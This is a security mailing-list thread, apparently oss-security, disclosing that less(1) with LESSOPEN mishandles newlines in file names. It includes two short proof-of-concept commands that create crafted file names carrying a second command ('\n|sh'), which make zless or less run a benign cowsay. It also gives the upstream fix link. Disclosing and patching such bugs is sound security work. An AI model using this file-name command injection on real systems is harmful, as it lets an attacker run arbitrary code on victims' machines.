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Re: less(1) with LESSOPEN mishandles \n in paths


From: Sam James <sam () gentoo org>
Date: Fri, 12 Apr 2024 13:42:05 +0100

Jakub Wilk <jwilk () jwilk net> writes:

less(1) does not correctly escape newlines in pathnames when
constructing command line of the input preprocessor. If a user ran
less(1) on files with untrusted names, this could result in execution
of arbitrary code.

The input preprocessor is enabled by the LESSOPEN environment variable.
But if you didn't set it, don't worry, because zless(1) (or xzless(1),
or zstdless(1)) sets it for you:

   $ echo 'cowsay pwned' > './\' && touch "$(printf '\n|sh')"
   $ zless ./*
    _______
   < pwned >
    -------
           \   ^__^
            \  (oo)\_______
               (__)\       )\/\
                   ||----w |
                   ||     ||
   ./
   |sh (file 1 of 2) (END) - Next: ./\

On Ubuntu systems, $LESSOPEN is set in ~/.bashrc by default, so the
bug can be exploited even without the wrapper:


Unfortunately, it looks like we're the same in Gentoo.

   $ mkdir m "$(printf '\n|m')" && touch "$(printf '\n|m/oo')" && echo 'cowsay pwned' > m/oo && chmod +x m/oo
   $ less ./*/*
    _______
   < pwned >
    -------
           \   ^__^
            \  (oo)\_______
               (__)\       )\/\
                   ||----w |
                   ||     ||
   ./
   |m/oo (file 1 of 2) (END) - Next: ./m/oo


Upstream fix:
https://github.com/gwsw/less/commit/007521ac3c95bc76

Thanks.

Any idea if upstream plan to backport it? It doesn't apply cleanly I
think to the last release 643 (653 is a beta) but I'll try do it now.

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